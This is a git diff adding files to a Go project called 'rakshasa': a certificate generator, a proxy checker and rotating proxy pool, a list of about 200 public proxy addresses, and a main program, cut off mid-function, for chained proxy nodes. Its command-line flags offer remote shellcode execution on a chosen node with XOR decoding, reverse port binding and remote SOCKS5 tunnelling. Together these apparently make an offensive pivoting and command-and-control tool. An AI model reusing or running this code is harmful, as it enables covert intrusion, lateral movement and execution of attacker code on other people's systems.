b/gencert/main.go new file mode 100644 index 0000000..541bc4c --- /dev/null +++ b/gencert/main.go @@ -0,0 +1,164 @@ +package main + +import ( + "bytes" + cr "crypto/rand" + "crypto/rsa" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + "log" + "math/big" + "math/rand" + "net" + "os" + "time" +) + +func main() { + subj := &pkix.Name{ + CommonName: "chinamobile.com", + Organization: []string{"Company, INC."}, + Country: []string{"US"}, + Province: []string{""}, + Locality: []string{"San Francisco"}, + StreetAddress: []string{"Golden Gate Bridge"}, + PostalCode: []string{"94016"}, + } + ca, err := CreateCA(subj, 10) + if err != nil { + log.Panic(err) + } + + Write(ca, "../cert/server") + + crt, err := Req(ca.CSR, subj, 10, []string{"test.default.svc", "test"}, []net.IP{}) + + if err != nil { + log.Panic(err) + } + + Write(crt, "../cert/server") +} + +type CERT struct { + CERT []byte + CERTKEY *rsa.PrivateKey + CERTPEM *bytes.Buffer + CERTKEYPEM *bytes.Buffer + CSR *x509.Certificate +} + +func CreateCA(sub *pkix.Name, expire int) (*CERT, error) { + var ( + ca = new(CERT) + err error + ) + + if expire < 1 { + expire = 1 + } + // 为ca生成私钥 + ca.CERTKEY, err = rsa.GenerateKey(cr.Reader, 4096) + if err != nil { + return nil, err + } + + // 对证书进行签名 + ca.CSR = &x509.Certificate{ + SerialNumber: big.NewInt(rand.Int63n(2000)), + Subject: *sub, + NotBefore: time.Now(), // 生效时间 + NotAfter: time.Now().AddDate(expire, 0, 0), // 过期时间 + IsCA: true, // 表示用于CA + // openssl 中的 extendedKeyUsage = clientAuth, serverAuth 字段 + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, + // openssl 中的 keyUsage 字段 + KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, + BasicConstraintsValid: true, + } + // 创建证书 + // caBytes 就是生成的证书 + ca.CERT, err = x509.CreateCertificate(cr.Reader, ca.CSR, ca.CSR, &ca.CERTKEY.PublicKey, ca.CERTKEY) + if err != nil { + return nil, err + } + ca.CERTPEM = new(bytes.Buffer) + pem.Encode(ca.CERTPEM, &pem.Block{ + Type: "CERTIFICATE", + Bytes: ca.CERT, + }) + ca.CERTKEYPEM = new(bytes.Buffer) + pem.Encode(ca.CERTKEYPEM, &pem.Block{ + Type: "RSA PRIVATE KEY", + Bytes: x509.MarshalPKCS1PrivateKey(ca.CERTKEY), + }) + + // 进行PEM编码,编码就是直接cat证书里面内容显示的东西 + return ca, nil +} + +func Req(ca *x509.Certificate, sub *pkix.Name, expire int, dns []string, ip []net.IP) (*CERT, error) { + var ( + cert = &CERT{} + err error + ) + cert.CERTKEY, err = rsa.GenerateKey(cr.Reader, 4096) + if err != nil { + return nil, err + } + if expire < 1 { + expire = 1 + } + cert.CSR = &x509.Certificate{ + SerialNumber: big.NewInt(rand.Int63n(2000)), + Subject: *sub, + IPAddresses: ip, + DNSNames: dns, + NotBefore: time.Now(), + NotAfter: time.Now().AddDate(expire, 0, 0), + SubjectKeyId: []byte{1, 2, 3, 4, 6}, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth}, + KeyUsage: x509.KeyUsageDigitalSignature, + } + + cert.CERT, err = x509.CreateCertificate(cr.Reader, cert.CSR, ca, &cert.CERTKEY.PublicKey, cert.CERTKEY) + if err != nil { + return nil, err + } + + cert.CERTPEM = new(bytes.Buffer) + pem.Encode(cert.CERTPEM, &pem.Block{ + Type: "CERTIFICATE", + Bytes: cert.CERT, + }) + cert.CERTKEYPEM = new(bytes.Buffer) + pem.Encode(cert.CERTKEYPEM, &pem.Block{ + Type: "RSA PRIVATE KEY", + Bytes: x509.MarshalPKCS1PrivateKey(cert.CERTKEY), + }) + return cert, nil +} + +func Write(cert *CERT, file string) error { + keyFileName := file + ".key" + certFIleName := file + ".crt" + kf, err := os.Create(keyFileName) + if err != nil { + return err + } + defer kf.Close() + + if _, err := kf.Write(cert.CERTKEYPEM.Bytes()); err != nil { + return err + } + + cf, err := os.Create(certFIleName) + if err != nil { + return err + } + if _, err := cf.Write(cert.CERTPEM.Bytes()); err != nil { + return err + } + return nil +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..adfb854 --- /dev/null +++ b/go.mod @@ -0,0 +1,17 @@ +module rakshasa + +go 1.16 + +replace github.com/abiosoft/readline => ./readline + +require ( + github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db + github.com/creack/pty v1.1.18 + github.com/dlclark/regexp2 v1.7.0 + github.com/google/uuid v1.3.0 + github.com/luyu6056/ishell v1.0.1 + github.com/mattn/go-colorable v0.1.12 // indirect + golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a // indirect + golang.org/x/text v0.3.7 + gopkg.in/yaml.v3 v3.0.1 +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..b96aaae --- /dev/null +++ b/go.sum @@ -0,0 +1,58 @@ +github.com/abiosoft/ishell v2.0.0+incompatible h1:zpwIuEHc37EzrsIYah3cpevrIc8Oma7oZPxr03tlmmw= +github.com/abiosoft/ishell v2.0.0+incompatible/go.mod h1:HQR9AqF2R3P4XXpMpI0NAzgHf/aS6+zVXRj14cVk9qg= +github.com/abiosoft/ishell/v2 v2.0.2 h1:5qVfGiQISaYM8TkbBl7RFO6MddABoXpATrsFbVI+SNo= +github.com/abiosoft/ishell/v2 v2.0.2/go.mod h1:E4oTCXfo6QjoCart0QYa5m9w4S+deXs/P/9jA77A9Bs= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM= +github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04= +github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8= +github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= +github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo= +github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= +github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= +github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BMXYYRWTLOJKlh+lOBt6nUQgXAfB7oVIQt5cNreqSLI= +github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:rZfgFAXFS/z/lEd6LJmf9HVZ1LkgYiHx5pHhV5DR16M= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/luyu6056/ishell v1.0.1 h1:ztZGZXGIoeRSfynF2D9TmNVc5KBJo7TXEEtyxC/HnXg= +github.com/luyu6056/ishell v1.0.1/go.mod h1:HY5iQO19Iwonkp+PdWGcixzqUpfIm35HyIkj2UrsVbg= +github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354/go.mod h1:KSVJerMDfblTH7p5MZaTt+8zaT2iEk3AkVb9PQdZuE8= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/testify v1.1.4/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a h1:dGzPydgVsqGcTRVwiLJ1jVbufYwmzD3LfVPLKsKg+0k= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/httppool/check_proxy.go b/httppool/check_proxy.go new file mode 100644 index 0000000..d23b313 --- /dev/null +++ b/httppool/check_proxy.go @@ -0,0 +1,212 @@ +package httppool + +import ( + "bufio" + "errors" + "fmt" + "io" + "log" + "net" + "net/http" + "net/url" + "os" + "rakshasa/common" + "strings" + "sync" + "time" +) + +func CheckProxy(in, out string, timeout uint, checkurl string, anonymous bool) { + outFile, err := os.OpenFile(out, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0666) + if err != nil { + log.Fatalf("CheckProxy 无法写出文件 %s", out) + } + defer outFile.Close() + var res int + if cfg, err := common.ParseAddr(in); err == nil { + if check(cfg, timeout, checkurl, outFile, anonymous) { + res = 1 + } + } else { + inFile, err := os.OpenFile(in, os.O_RDONLY, 0666) + if err != nil { + log.Fatalf("-check_proxy 无法识别无法读取 %s", in) + } + limit := make(chan struct{}, 32) + reader := bufio.NewReader(inFile) + var wg sync.WaitGroup + for { + line, err := reader.ReadString(10) + if err == io.EOF && line == "" { + break + } + wg.Add(1) + limit <- struct{}{} + go func() { + line = strings.TrimRight(line, "\n") + line = strings.TrimRight(line, "\r") + + if cfg, err = common.ParseAddr(line); err == nil { + if check(cfg, timeout, checkurl, outFile, anonymous) { + res++ + } + } + + <-limit + wg.Done() + }() + } + wg.Wait() + } + log.Printf("一共有%d个代理通过检测,已保存到 %v", res, out) + +} +func check(cfg *common.Addr, timeout uint, checkurl string, outFile *os.File, anonymous bool) bool { + + switch cfg.Scheam() { + case "", "http://": + + proxy := func(_ *http.Request) (*url.URL, error) { + return url.Parse(cfg.HttpUrl()) + } + + transport := &http.Transport{Proxy: proxy} + + client := &http.Client{Transport: transport, Timeout: time.Second * time.Duration(timeout)} + resp, err := client.Get(checkurl) + + if err != nil { + + if strings.Contains(err.Error(), "Client.Timeout") { + //log.Printf("地址 %v 检测失败 超时没响应\r\n", cfg) + //} else { + //log.Printf("地址 %v 检测失败 %v\r\n", cfg, err) + } + + return false + } + + if resp.StatusCode == 200 { + if anonymous { + b, _ := io.ReadAll(resp.Body) + if string(b) == cfg.IP() { + log.Printf("地址 %v 通过匿名代理检测\r\n", cfg.String()) + if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil { + log.Printf("无法写入文件%s", outFile.Name()) + } + if err = outFile.Sync(); err != nil { + log.Printf("无法写入文件%s", outFile.Name()) + } + } else { + return false + } + } else { + log.Printf("地址 %v 通过检测\r\n", cfg.String()) + if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil { + log.Printf("无法写入文件%s", outFile.Name()) + } + if err = outFile.Sync(); err != nil { + log.Printf("无法写入文件%s", outFile.Name()) + } + } + + return true + } + //log.Printf("地址 %v 检测失败 结果状态码不是 200\r\n", addr) + return false + case "socks5://": + + netconn, err := net.Dial("tcp", cfg.Addr()) + + if err != nil { + return false + } + netconn.Write([]byte{5, 1, 2}) + var result [8192]byte + n, err := netconn.Read(result[:]) + if err != nil { + return false + } + + if string(result[:n]) == string([]byte{5, 2}) { //需要认证 + user, password := cfg.User(), cfg.Password() + if user == "" && password == "" { + return false + } + + data := make([]byte, (3 + len(user) + len(password))) + data[0] = 5 + data[1] = byte(len(user)) + copy(data[2:], user) + data[2+len(user)] = byte(len(password)) + copy(data[3+len(user):], password) + netconn.Write(data) + n, err = netconn.Read(result[:]) + if err != nil || string(result[:n]) != string([]byte{5, 0}) { + return false + } + } + log.Printf("地址 %v 通过socks5检测\r\n", cfg.String()) + if _, err = outFile.WriteString(cfg.String() + "\r\n"); err != nil { + log.Printf("无法写入文件%s", outFile.Name()) + } + if err = outFile.Sync(); err != nil { + log.Printf("无法写入文件%s", outFile.Name()) + } + return true + default: + + } + return false +} + +type HttpPool struct { + r *bufio.Reader + f *os.File + sync.Mutex +} + +func HttpPoolInit(file string) (*HttpPool, error) { + f, err := os.Open(file) + if err != nil { + return nil, fmt.Errorf("打开http代理池文件 %s 失败", file) + } + p := &HttpPool{ + r: bufio.NewReader(f), + f: f, + Mutex: sync.Mutex{}, + } + if _, err = p.do_next(0); err != nil { + return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err) + } + return p, nil +} +func (p *HttpPool) Next() *common.Addr { + addr, _ := p.do_next(0) + return addr +} +func (p *HttpPool) do_next(n int) (*common.Addr, error) { + if n > 100 { + return nil, errors.New("重试错误次数过多") + } + p.Lock() + line, err := p.r.ReadString(10) + if err == io.EOF { + p.f.Seek(0, 0) + p.r.Reset(p.f) + p.Unlock() + return p.do_next(n + 1) + } + p.Unlock() + line = strings.TrimRight(line, "\n") + line = strings.TrimRight(line, "\r") + + if len(line) == 0 { + return p.do_next(n + 1) + } + addr, err := common.ParseAddr(line) + if err != nil { + return p.do_next(n + 1) + } + return addr, nil +} diff --git a/in.txt b/in.txt new file mode 100644 index 0000000..9008a21 --- /dev/null +++ b/in.txt @@ -0,0 +1,201 @@ +209.97.150.167:8080 +199.5.133.194:80 +74.208.51.197:5000 +34.135.166.24:80 +82.180.163.163:80 +35.172.202.138:80 +109.122.195.14:80 +66.29.154.103:3128 +35.222.50.197:80 +169.55.89.6:80 +174.70.1.210:8080 +35.209.198.222:80 +208.109.32.60:81 +3.134.56.120:80 +20.241.236.196:3128 +216.215.123.174:8080 +3.128.142.113:80 +146.190.74.6:80 +24.106.221.230:53281 +165.3.122.211:80 +155.254.192.216:80 +104.255.231.87:3128 +45.61.163.12:80 +45.77.198.163:80 +216.137.184.253:80 +71.255.153.117:80 +104.223.135.178:10000 +109.122.195.16:80 +5.78.78.180:8080 +54.82.79.59:80 +52.24.80.166:80 +3.220.76.84:80 +129.153.107.221:80 +64.225.8.115:9997 +20.69.79.158:8443 +191.101.1.116:80 +5.78.75.64:8080 +72.169.67.145:87 +12.69.91.227:80 +4.16.68.158:443 +52.144.46.250:25345 +198.59.191.234:8080 +64.225.4.12:9991 +93.188.166.232:80 +137.184.197.190:80 +72.169.67.241:87 +130.41.109.158:8080 +204.2.218.145:8080 +66.75.121.167:8080 +162.223.94.163:80 +38.242.195.210:80 +64.225.8.132:9979 +93.188.161.84:80 +68.183.143.134:80 +64.225.8.142:9988 +184.60.66.122:80 +15.204.207.232:3128 +64.225.4.81:9991 +47.254.47.61:77 +64.225.8.118:9990 +31.220.52.49:80 +23.238.33.186:80 +52.86.21.254:80 +103.152.112.145:80 +3.12.178.169:80 +47.88.87.74:1080 +98.110.236.35:8080 +142.93.61.46:80 +154.202.97.224:3128 +154.201.62.199:3128 +154.202.122.29:3128 +154.202.98.115:3128 +72.169.66.157:87 +75.89.101.62:80 +64.225.8.121:9992 +198.11.175.192:3128 +159.89.132.167:8989 +72.170.220.17:8080 +148.76.97.250:80 +3.94.182.57:7497 +43.251.116.62:45787 +206.189.199.91:80 +34.23.45.223:80 +64.225.4.63:9998 +52.38.72.41:80 +38.52.220.194:999 +18.217.198.64:80 +206.161.97.62:31337 +170.187.138.40:8009 +143.198.182.218:80 +34.170.89.64:80 +97.74.92.60:80 +64.225.8.82:9995 +43.249.11.114:45787 +137.184.242.126:80 +143.110.232.177:80 +143.198.228.250:80 +209.126.6.159:80 +138.68.60.8:3128 +63.239.220.11:8080 +100.21.127.153:80 +34.229.213.84:8118 +45.81.130.51:45787 +198.199.86.11:8080 +108.161.128.43:80 +209.169.71.193:80 +64.225.8.191:9987 +167.99.236.14:80 +156.239.48.222:3128 +209.127.148.104:3128 +154.202.118.16:3128 +154.202.124.35:3128 +154.83.8.195:3128 +154.202.125.108:3128 +194.50.243.120:3128 +154.202.127.66:3128 +154.202.119.127:3128 +156.239.48.48:3128 +162.144.236.128:80 +157.230.48.102:80 +104.45.128.122:80 +149.248.14.12:24018 +72.169.67.85:87 +128.199.13.74:80 +64.225.4.29:9994 +72.52.217.188:80 +154.202.122.17:3128 +154.202.127.8:3128 +154.202.127.192:3128 +154.202.115.109:3128 +156.239.51.113:3128 +154.202.119.154:3128 +154.202.98.233:3128 +154.201.61.223:3128 +156.239.53.151:3128 +154.202.97.174:3128 +209.127.48.59:3128 +156.239.48.128:3128 +156.239.54.138:3128 +154.202.125.44:3128 +156.239.51.49:3128 +154.202.113.77:3128 +209.127.136.164:3128 +154.202.122.139:3128 +154.202.114.4:3128 +45.199.137.179:3128 +185.93.32.136:3128 +45.199.140.87:3128 +154.202.114.244:3128 +156.239.55.233:3128 +154.202.112.54:3128 +156.239.51.131:3128 +154.83.10.189:3128 +154.83.8.13:3128 +154.83.11.100:3128 +154.202.112.128:3128 +156.239.50.212:3128 +154.202.110.19:3128 +45.199.141.170:3128 +154.202.113.221:3128 +154.202.113.65:3128 +45.199.140.85:3128 +45.199.141.22:3128 +50.114.110.124:3128 +154.202.96.105:3128 +154.202.114.110:3128 +156.239.53.37:3128 +156.239.55.63:3128 +45.199.137.141:3128 +154.202.118.60:3128 +154.202.114.168:3128 +45.199.140.71:3128 +156.239.54.108:3128 +154.202.114.20:3128 +50.114.111.113:3128 +156.239.53.217:3128 +154.83.10.165:3128 +45.199.139.158:3128 +156.239.49.73:3128 +154.202.112.20:3128 +45.199.141.196:3128 +154.202.98.241:3128 +194.50.243.246:3128 +154.201.63.43:3128 +50.114.111.75:3128 +154.202.111.153:3128 +156.239.52.10:3128 +156.239.51.17:3128 +154.202.125.224:3128 +156.239.54.78:3128 +154.202.117.84:3128 +154.83.9.218:3128 +154.202.107.212:3128 +156.239.53.11:3128 +156.239.49.131:3128 +154.202.118.72:3128 +154.83.9.238:3128 +45.199.141.60:3128 +156.239.55.117:3128 +154.202.120.165:3128 +socks5://admin:123456@127.0.0.1:1080 \ No newline at end of file diff --git a/main.go b/main.go new file mode 100644 index 0000000..b2d60e1 --- /dev/null +++ b/main.go @@ -0,0 +1,212 @@ +package main + +import ( + "flag" + "log" + "net/http" + _ "net/http/pprof" + "rakshasa/aes" + "rakshasa/cert" + "rakshasa/common" + "rakshasa/httppool" + "rakshasa/server" + "strconv" + "strings" + "sync" +) + +func main() { + + var ( + //以下为配置参数 + dstNode = flag.String("d", "", "依次连接到指定的 上级节点地址,格式为 ip:端口 多个节点以,隔开\r\n -d 192.168.1.1:8883\r\n -d 192.168.1.1:8883,192.168.1.2:8882") + limit = flag.String("limit", "", "limit模式,只连接-d的节点,不进行额外节点连接,默认为false,如果为true,本节点掉线的时候,将会尝试连接所有已保存节点") + password = flag.String("password", "", "通讯二次加密秘钥,可为空") + listenip = flag.String("ip", "", "设置本地节点指定公网ip,多个ip以,间隔,如\r\n -ip 192.168.1.1") + port = flag.String("p", "", "设置本地节点监听端口,默认8883") + configFile = flag.String("f", "", "配置文件路径,为空的时候不读取") + check_proxy = flag.String("check_proxy", "", "检查http代理是否有效,传入参数可以是ip:port 或者文件,当前支持ipv4,并将结果保存到-check_proxy_out,可选参数-check_proxy_timeout,-check_proxy_url,使用方法: \r\n -check_proxy 192.168.1.1:8080\r\n -check_proxy in.txt\r\n -check_proxy in.txt -check_proxy_out out.txt -check_proxy_timeout 10 -check_proxy_url https://www.google.com/") + check_proxy_out = flag.String("check_proxy_out", "out.txt", "配合-check_proxy一起,将有效代理保存到指定文件,默认保存到 out.txt") + check_proxy_timeout = flag.Uint("check_proxy_timeout", 10, "配合-check_proxy一起,设定代理检测超时,单位秒,默认10") + check_proxy_url = flag.String("check_proxy_url", server.CheckProxyUrl, "自定义url检测,配合-check_proxy一起使用,设定代理检测url,不能测试是否匿名") + check_proxy_anonymous = flag.Bool("check_proxy_anonymous", true, "检测代理是否匿名,非匿名代理不保存,默认为true,必须使用默认url") + + //以下为功能参数,必须配合-d参数启动 + socks5port = flag.String("socks5", "", "以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器,如: -socks5 admin:12345@0.0.0.0:1080") + remoteSocksport = flag.String("remotesocks5", "", "-d节点监听socks5代理,并将请求通过本地转出,如: -remote admin:12345@0.0.0.0:1080") + rawbind = flag.String("bind", "", "反向代理转发模式,格式为ip:port,remote_ip:remote_port,-d指定节点将会监听remote_ip:remote_port,通过本机将数据转发到ip:port,如\r\n -bind 127.0.0.1:80,0.0.0.0:80") + rawconnect = flag.String("connect", "", "代理转发模式,格式为ip:port,remote_ip:remote_port,本地监听ip:port,并在-d节点连接到remote_ip:remote_port,如\r\n -connect 0.0.0.0:80,192.168.1.1:80") + noCLI = flag.Bool("nocli", false, "不启动cli") + shellCode = flag.String("shellcode", "", "与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码") + shellCodeXorKey = flag.String("sXor", "", "shellcode的xor解码密钥") + shellCodeParam = flag.String("sParam", "", "shellcode的运行参数") + shellCodeTimeout = flag.Int("sTimeout", 3, "shellcode的超时等待时间,默认3秒") + http_proxy = flag.String("http_proxy", "", "以本地http代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则使用本机进行下一步连接, 用户名:密码@ip:端口 可以省略为端口,如: \r\n -http_proxy admin:12345@0.0.0.0:8080\r\n -http_proxy admin:12345@8080\r\n -http_proxy 8080") + http_proxy_pool = flag.String("http_proxy_pool", "", "从指定文件读取http代理服务器池,通过最后节点后(不使用-d则为本机),再从该池里读取一个代理进行请求") + ) + + flag.Parse() + if *check_proxy != "" { + if *check_proxy_url != server.CheckProxyUrl && *check_proxy_anonymous == true { + log.Println("检测url不是默认url,将取消匿名代理检测") + *check_proxy_anonymous = false + } + httppool.CheckProxy(*check_proxy, *check_proxy_out, *check_proxy_timeout, *check_proxy_url, *check_proxy_anonymous) + return + } + + var config common.Config + if *configFile != "" { + if err := server.ConfigLoad(*configFile); err != nil { + log.Fatalln("读取配置文件", *configFile, "失败 ", err) + } + config = server.GetConfig() + } else { + config = common.Config{ + Port: 8883, + Limit: false, + FileName: "config.yaml", + } + + } + + if *dstNode != "" { + serverlist, err := common.ResolveTCPAddr(*dstNode) + if err != nil { + log.Fatalln("-d参数错误", err) + } + config.DstNode = serverlist + } + + if *password != "" { + config.Password = *password + } + if *listenip != "" { + config.ListenIp = strings.Split(*listenip, ",") + } + if *limit != "" { + if *limit != "flase" && *limit != "true" { + log.Fatalln("limit 参数错误,必须是 false 或者 true") + } + config.Limit = *limit == "true" + } + if *port != "" { + p, _ := strconv.Atoi(*port) + if p < 1 || p > 65535 { + log.Fatalln("port 参数错误,必须是1-65535") + } + config.Port = p + } + server.SetConfig(config) + //修正dstNode为空字串的bug + for i := len(config.DstNode) - 1; i >= 0; i-- { + addr := config.DstNode[i] + if addr == "" { + config.DstNode = append(config.DstNode[:i], config.DstNode[i+1:]...) + } + } + server.SetConfig(config) + + //设置一下秘钥 + aes.Key = aes.MD5_B(config.Password + string(cert.PublicKey[:16])) + //初始化node + server.InitCurrentNode() + + if common.Debug { + go func() { + err := http.ListenAndServe("0.0.0.0:8083", nil) + if err != nil { + err = http.ListenAndServe("0.0.0.0:8084", nil) + if err != nil { + err = http.ListenAndServe("0.0.0.0:8085", nil) + } + } + }() + } + //启动节点 + if len(config.DstNode) > 0 && config.DstNode[0] != "" { + if _, err := server.GetNodeFromAddrs(config.DstNode); err != nil { + log.Fatalln("连接节点失败", err) + } + } + + if *shellCode != "" { + + server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout) + + } + if err := server.StartServer(config.Port); err != nil { + log.Fatalln(err) + } + + //如果有参数启动,启动一下 + if *rawbind != "" { + if *dstNode == "" { + log.Fatalln("请以 -d 输入远程服务器ip地址") + } + + if err := server.StartRawBind(*rawbind, config.DstNode); err != nil { + log.Fatalln("bind启动失败", err) + } + log.Println("rawBind启动成功") + } else if *rawconnect != "" { + if *dstNode == "" { + log.Fatalln("请以 -d 输入远程服务器ip地址") + } + n, err := server.GetNodeFromAddrs(config.DstNode) + if err != nil { + log.Fatalln("connect启动失败", err) + } + if err := server.StartRawConnect(*rawconnect, n); err != nil { + log.Fatalln("connect启动失败", err) + } + log.Println("rawConnect启动成功") + } else if *socks5port != "" { + + cfg, err := common.ParseAddr(*socks5port) + if err != nil { + log.Fatalln(err) + } + if err := server.StartSocks5(cfg, config.DstNode); err != nil { + log.Fatalln("socks5启动失败", err) + } + log.Println("socks5启动成功") + + } else if *remoteSocksport != "" { + if *dstNode == "" { + log.Fatalln("请以 -d 输入远程服务器ip地址") + } + n, err := server.GetNodeFromAddrs(config.DstNode) + if err != nil { + log.Fatalln("remoteSocks5启动失败", err) + } + cfg, err := common.ParseAddr(*remoteSocksport) + if err != nil { + log.Fatalln(err) + } + if err := server.StartRemoteSocks5(cfg, n); err != nil { + 